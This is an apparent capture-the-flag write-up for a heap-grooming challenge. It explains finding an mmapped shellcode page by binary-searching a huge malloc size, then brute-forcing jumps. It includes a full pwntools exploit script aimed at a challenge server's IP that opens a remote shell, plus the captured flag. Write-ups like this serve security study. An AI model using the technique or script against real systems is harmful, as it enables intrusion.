We were given a ELF 64-bit PIE binary. Basically, the program runs a server in a given port and loads a /bin/sh
shellcode from the file poop.sc
. The shellcode is 4096 bytes long and starts with a lot of NOPS. The server obtains a seed from /dev/urandom
and generates a random address somewhere before 0x55555555500
, ending in 000
since we have the AND operation: addr & (-pageSize) (0xfffffffff000)
. Then, it uses mmap
to map the shellcode in a executable segment of memory at the unpredictable address.
The server accepts a connection, forks the current process and allows the client to jump to a given address and malloc a given size. It's also possible to free or not the allocated memory. So, it's obvious that we need to somehow find the shellcode address and jump to it. It is also important to mention that in the challenge description we were told that the server restarts every 20 minutes and therefore the mmaped address will change.
The malloc is there for a reason. I noticed that I could malloc huge chunks of memory (~ almost 90K GBs). Since this a PIE binary, the .text, initial heap base address and so on will be randomized, but it's possible to overcome that by allocating a huge chunk (heap grooming), taking the unknown state of the heap into a state where the huge heap chunk is in a favorable location. Malloc will fit the maximum size chunk before the mmaped shellcode, but it will not alloc more memory than the space available, otherwise it would overlap the shellcode.
In the previous layout you can see that the huge chunk of memory will fit just before the mmaped address and by using this size it's possible to guess where the shellcode is. I started bruteforcing jumps from the last page of the allocated memory, incrementing the target with the page size. After a few iterations I got the flag and a shell! This was the final exploit:
from pwn import *
size = 0xffffffffffff
lsize = 0
isOk = False
isFail = True
lastSize = 0
target = "54.202.7.144"
#####################
###### STAGE 1 ######
#Get max alloc size #
#####################
print("[*] >> STAGE 1")
while (True):
r = remote(target, 6969)
s = r.recvuntil("p : ")
print("[*] Trying size: %s" % str(size))
r.sendline("a")
s = r.recvuntil("sz? ")
r.sendline(str(size))
s = r.recv()
if ("free" in s):
if (size == lastSize):
maxSize = size
print("[*] Max size: " + str(hex(size)))
break
r.sendline("y")
print("[*] Malloc: OK")
if (not isOk):
lsize = lastSize
isOk = True
isFail = False
elif ("FAIL" in s):
if (not isFail):
lsize = lastSize
isFail = True
isOk = False
print("[*] Malloc: Fail")
tmpsize = (lsize + size) / 2
lastSize = size
size = tmpsize
s = r.recvuntil("p :")
r.close()
#####################
###### STAGE 2 ######
#Jump to shellcode ##
#####################
print("[*] >> STAGE 2")
pageSize = 0x1000
n = maxSize & 0xfffffffff000
for i in range(0, 200):
print("[*] Trying %s" % str(hex(n)))
r = remote(target, 6969)
s = r.recvuntil("p : ")
r.sendline("j")
s = r.recvuntil("sz? ")
r.sendline(str(n).replace("L", ""))
r.sendline("cat flag")
try:
s = r.recv()
print(s)
r.interactive()
except:
pass
r.close()
n += pageSize
bkp{really who actually turns on overcommit even in prod...}
Thanks BKP team for this very nice heap grooming challenge!